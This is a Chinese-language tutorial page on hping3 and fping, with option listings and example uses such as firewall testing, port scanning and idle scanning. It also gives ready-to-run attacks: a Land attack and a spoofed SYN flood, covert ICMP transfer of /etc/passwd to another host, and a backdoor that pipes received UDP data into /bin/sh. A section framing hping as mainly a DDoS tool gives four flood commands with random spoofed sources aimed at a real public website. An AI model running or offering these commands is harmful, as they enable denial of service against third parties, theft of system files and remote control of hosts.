hping3命令:http://man.linuxde.net/hping3
Testing firewall rules with Hping3 - examples:http://0daysecurity.com/articles/hping3_examples.html
攻防寶典:利用hping3和偽造IP地址執行DOS攻擊:http://netsecurity.51cto.com/art/201508/489303.htm
DoS***方法(hping3):http://19920624.blog.51cto.com/9632075/1584465
Nmap、Netcat、Hping3工具對比:http://www.2cto.com/article/201210/158961.html
hping
hping 是 面向命令行的用於生成和解析TCP/IP協議數據包匯編/分析的開源工具。作者是Salvatore Sanfilippo,界面靈感來自ping(8)unix命令,目前最新版是 hping3,它支持TCP,UDP,ICMP和RAW-IP協議,具有跟蹤路由模式,能夠在覆蓋的信道之間發送文件以及許多其他功能,支持使用tcl腳本自動化地調用其API。hping是安全審計、防火牆測試等工作的標配工具。hping 優勢在於能夠定制數據包的各個部分,因此用戶可以靈活對目標機進行細致地探測。
雖然 hping 以前主要用作安全工具,但它可以在許多方面被不太關心安全性的人員用於測試網絡和主機,您可以使用hping的一小部分內容:
- 防火牆測試 - 高級端口掃描 - 網絡測試,使用不同的協議,TOS,分片 - 手動路徑MTU發現 - 在所有支持的協議下,高級traceroute - 遠程操作系統指紋 - 遠程正常運行時間猜測 - TCP/IP協議棧審計 - hping也可以用於學習TCP/IP的學生
工具來源:http://www.hping.org/
用法: hping3 host [options] -h --help 顯示幫助 -v --version 顯示版本 -c --count 發送數據包的數目 -i --interval 發送數據包間隔的時間 (uX即X微秒, 例如: -i u1000) --fast 等同 -i u10000 (每秒10個包) --faster 等同 -i u1000 (每秒100個包) --flood 盡最快發送數據包,不顯示回復。 -n --numeric 數字化輸出,象征性輸出主機地址。 -q --quiet 安靜模式 -I --interface 網卡接口 (默認路由接口) -V --verbose 詳細模式 -D --debug 調試信息 -z --bind 綁定ctrl+z到ttl(默認為目的端口) -Z --unbind 取消綁定ctrl+z鍵 --beep 對於接收到的每個匹配數據包蜂鳴聲提示 模式選擇 default mode TCP // 默認模式是 TCP -0 --rawip RAWIP模式,原始IP模式。在此模式下HPING會發送帶數據的IP頭。即裸IP方式。使用RAWSOCKET方式。 -1 --icmp ICMP模式,此模式下HPING會發送IGMP應答報,你可以用--ICMPTYPE --ICMPCODE選項發送其他類型/模式的ICMP報文。 -2 --udp UDP 模式,缺省下,HPING會發送UDP報文到主機的0端口,你可以用--baseport --destport --keep選項指定其模式。 -8 --scan SCAN mode. //掃描模式 指定掃描對應的端口。 Example: hping --scan 1-30,70-90 -S www.target.host // 掃描 -9 --listen listen mode // 監聽模式 IP 模式 -a --spoof spoof source address //源地址欺騙。偽造IP攻擊,防火牆就不會記錄你的真實IP了,當然回應的包你也接收不到了。 --rand-dest random destionation address mode. see the man. // 隨機目的地址模式。詳細使用 man 命令 --rand-source random source address mode. see the man. // 隨機源地址模式。詳細使用 man 命令 -t --ttl ttl (默認 64) //修改 ttl 值 -N --id id (默認 隨機) // hping 中的 ID 值,缺省為隨機值 -W --winid 使用win* id字節順序 //使用winid模式,針對不同的操作系統。UNIX ,WINDIWS的id回應不同的,這選項可以讓你的ID回應和WINDOWS一樣。 -r --rel 相對id字段(估計主機流量) //更改ID的,可以讓ID曾遞減輸出,詳見HPING-HOWTO。 -f --frag 拆分數據包更多的frag. (may pass weak acl) //分段,可以測試對方或者交換機碎片處理能力,缺省16字節。 -x --morefrag 設置更多的分段標志 // 大量碎片,淚滴攻擊。 -y --dontfrag 設置不分段標志 // 發送不可恢復的IP碎片,這可以讓你了解更多的MTU PATH DISCOVERY。 -g --fragoff set the fragment offset // 設置斷偏移。 -m --mtu 設置虛擬最大傳輸單元, implies --frag if packet size > mtu // 設置虛擬MTU值,當大於mtu的時候分段。 -o --tos type of service (default 0x00), try --tos help // tos字段,缺省0x00,盡力而為? -G --rroute includes RECORD_ROUTE option and display the route buffer // 記錄IP路由,並顯示路由緩沖。 --lsrr 松散源路由並記錄路由 // 松散源路由 --ssrr 嚴格源路由並記錄路由 // 嚴格源路由 -H --ipproto 設置IP協議字段,僅在RAW IP模式下使用 //在RAW IP模式里選擇IP協議。設置ip協議域,僅在RAW ip模式使用。 ICMP 模式 -C --icmptype icmp類型(默認echo請求) // ICMP類型,缺省回顯請求。 -K --icmpcode icmp代號(默認0) // ICMP代碼。 --force-icmp 發送所有icmp類型(默認僅發送支持的類型) // 強制ICMP類型。 --icmp-gw 設置ICMP重定向網關地址(默認0.0.0.0) // ICMP重定向 --icmp-ts 等同 --icmp --icmptype 13 (ICMP 時間戳) // icmp時間戳 --icmp-addr 等同 --icmp --icmptype 17 (ICMP 地址子網掩碼) // icmp子網地址 --icmp-help 顯示其他icmp選項幫助 // ICMP幫助 UDP/TCP 模式 -s --baseport base source port (default random) // 缺省隨機源端口 -p --destport [+][+]<port> destination port(default 0) ctrl+z inc/dec // 缺省隨機源端口 -k --keep keep still source port // 保持源端口 -w --win winsize (default 64) // win的滑動窗口。windows發送字節(默認64) -O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4) // 設置偽造tcp數據偏移量(取代tcp地址長度除4) -Q --seqnum shows only tcp sequence number // 僅顯示tcp序列號 -b --badcksum (嘗試)發送具有錯誤IP校驗和數據包。許多系統將修復發送數據包的IP校驗和。所以你會得到錯誤UDP/TCP校驗和。 -M --setseq 設置TCP序列號 -L --setack 設置TCP的ack ------------------------------------- (不是 TCP 的 ACK 標志位) -F --fin set FIN flag -S --syn set SYN flag -R --rst set RST flag -P --push set PUSH flag -A --ack set ACK flag ------------------------------------- (設置 TCP 的 ACK 標志 位) -U --urg set URG flag // 一大堆IP抱頭的設置。 -X --xmas set X unused flag (0x40) -Y --ymas set Y unused flag (0x80) --tcpexitcode 使用last tcp-> th_flags作為退出碼 --tcp-mss 啟用具有給定值的TCP MSS選項 --tcp-timestamp 啟用TCP時間戳選項來猜測HZ/uptime Common //通用設置 -d --data data size (default is 0) // 發送數據包大小,缺省是0。 -E --file 文件數據 -e --sign 添加“簽名” -j --dump 轉儲為十六進制數據包 -J --print 轉儲為可打印字符 -B --safe 啟用“安全”協議 -u --end 告訴你什么時候--file達到EOF並防止倒回 -T --traceroute traceroute模式(等同使用 --bind 且--ttl 1) --tr-stop 在traceroute模式下收到第一個不是ICMP時退出 --tr-keep-ttl 保持源TTL固定,僅用於監視一跳 --tr-no-rtt 不要在跟蹤路由模式下計算/顯示RTT信息 ARS包描述(新增功能,不穩定) ARS packet description (new, unstable) --apd-send 發送APD描述數據包(參見docs / APD.txt)
Hping3 功能
Hping3 主要有以下典型功能應用:
防火牆測試
使用Hping3指定各種數據包字段,依次對防火牆進行詳細測試。請參考:http://0daysecurity.com/articles/hping3_examples.html
測試防火牆對ICMP包的反應、是否支持traceroute、是否開放某個端口、對防火牆進行拒絕服務攻擊(DoS attack)。例如,以LandAttack方式測試目標防火牆(Land Attack是將發送源地址設置為與目標地址相同,誘使目標機與自己不停地建立連接)。
hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
端口掃描
Hping3也可以對目標端口進行掃描。Hping3支持指定TCP各個標志位、長度等信息。以下示例可用於探測目標機的80端口是否開放:
hping3 -I eth0 -S 192.168.10.1 -p 80
其中-I eth0指定使用eth0端口,-S指定TCP包的標志位SYN,-p 80指定探測的目的端口。
hping3支持非常豐富的端口探測方式,nmap擁有的掃描方式hping3幾乎都支持(除開connect方式,因為Hping3僅發送與接收包,不會維護連接,所以不支持connect方式探測)。而且Hping3能夠對發送的探測進行更加精細的控制,方便用戶微調探測結果。當然,Hping3的端口掃描性能及綜合處理能力,無法與Nmap相比。一般使用它僅對少量主機的少量端口進行掃描。
Idle掃描
Idle掃描(Idle Scanning)是一種匿名掃描遠程主機的方式,該方式也是有Hping3的作者Salvatore Sanfilippo發明的,目前Idle掃描在Nmap中也有實現。
該掃描原理是:尋找一台idle主機(該主機沒有任何的網絡流量,並且IPID是逐個增長的),攻擊端主機先向idle主機發送探測包,從回復包中獲取其IPID。冒充idle主機的IP地址向遠程主機的端口發送SYN包(此處假設為SYN包),此時如果遠程主機的目的端口開放,那么會回復SYN/ACK,此時idle主機收到SYN/ACK后回復RST包。然后攻擊端主機再向idle主機發送探測包,獲取其IPID。那么對比兩次的IPID值,我們就可以判斷遠程主機是否回復了數據包,從而間接地推測其端口狀態。
拒絕服務攻擊
使用Hping3可以很方便構建拒絕服務攻擊。比如對目標機發起大量SYN連接,偽造源地址為192.168.10.99,並使用1000微秒的間隔發送各個SYN包。
hping3 -I eth0 -a 192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
其他攻擊如smurf、teardrop、land attack等也很容易構建出來。
文件傳輸
Hping3支持通過TCP/UDP/ICMP等包來進行文件傳輸。相當於借助TCP/UDP/ICMP包建立隱秘隧道通訊。實現方式是開啟監聽端口,對檢測到的簽名(簽名為用戶指定的字符串)的內容進行相應的解析。在接收端開啟服務:
hping3 192.168.1.159 --listen signature --safe --icmp
監聽ICMP包中的簽名,根據簽名解析出文件內容。
在發送端使用簽名打包的ICMP包發送文件:
hping3 192.168.1.108--icmp -d 100 --sign signature --file /etc/passwd
將/etc/passwd密碼文件通過ICMP包傳給192.168.10.44主機。發送包大小為100字節(-d 100),發送簽名為signature(-sign signature)。
木馬功能
如果Hping3能夠在遠程主機上啟動,那么可以作為木馬程序啟動監聽端口,並在建立連接后打開shell通信。與netcat的后門功能類似。
示例:本地打開53號UDP端口(DNS解析服務)監聽來自192.168.10.66主機的包含簽名為signature的數據包,並將收到的數據調用/bin/sh執行。
在木馬啟動端:
hping3 192.168.10.66 --listen signature --safe --udp -p 53 | /bin/sh
在遠程控制端:
echo ls >test.cmd hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
將包含ls命令的文件加上簽名signature發送到192.168.10.44主機的53號UDP端口,包數據長度為100字節。
當然這里只是簡單的演示程序,真實的場景,控制端可以利益shell執行很多的高級復雜的操作。
hping主要是進行DDOS攻擊的
1、UDP ddos攻擊:
hping3 -c 10000 -d 120 --udp -w 64 -p 80 --flood --rand-source www.baidu.com
2、ICMP ddos攻擊:
hping3 -c 10000 -d 120 --icmp -w 64 -p 80 --flood --rand-source www.baidu.com
3、SYN ddos攻擊:
hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source www.baidu.com
4、ACK ddos攻擊:
hping3 -c 10000 -d 120 -A -w 64 -p 80 --flood --rand-source www.baidu.com
fping 用法
fping 是一個將 ICMP echo 探測器發送到網絡主機的程序,類似於 ping,可以看作是 ping 的增強版。但是 fping 在 ping多個主機時性能更好。
Usage: fping [options] [targets...] -a 顯示存活目標,即可ping通的目標 -A 將目標以ip地址的形式顯示 -b n ping 數據包的大小。(默認為56) -B f set exponential backoff factor to f -c n ping每個目標的次數 (默認為1) -C n 同-c, 返回的結果為冗長格式 -D 每個輸出行打印時間戳 -e 顯示返回數據包所費時間 -f file 從文件獲取目標列表( - 表示從標准輸入)(不能與 -g 同時使用) -g 生成目標列表(不能與 -f 同時使用) (可指定目標的開始和結束IP, 或者提供ip的子網掩碼) (例:fping -g 192.168.1.0 192.168.1.255 或 fping -g 192.168.1.0/24) -H n 設置ip的TTL值 (生存時間) -i n ping包之間的間隔(單位:毫秒)(默認25) -I if 綁定到特定的接口 -l 循環發送ping -m ping目標主機的多個網口 -M 設置不分段標記 -n 將目標以主機名或域名顯示(等價於 -d ) -N 輸出兼容netdata (-l -Q are required) -o 顯示累計中斷時間 (lost packets * packet interval) -O n 在ICMP包中設置服務的類型(tos)標志 -p n 對同一個目標的ping包間隔(毫秒) (在循環和統計模式中,默認為1000) -q 安靜模式(不顯示每個目標或每個ping的結果) -Q n 同-q, 但是每n秒顯示信息概要 -r n 當ping失敗時,最大重試次數(默認為3次) -R random packet data (to foil link data compression) -s 打印最后的統計數據 -S addr 設置源ip地址 -t n 單個目標的超時時間(毫秒)(默認500) -T n 請忽略(為兼容fping 2.4) -u 顯示不可到達的目標 -v 顯示版本號 targets 需要ping的目標列表(不能和 -f 同時使用)
示例
fping -A -u -c 4 192.168.1.1 192.168.1.74 192.168.1.20
ping 用法
ping 命令 http://man.linuxde.net/ping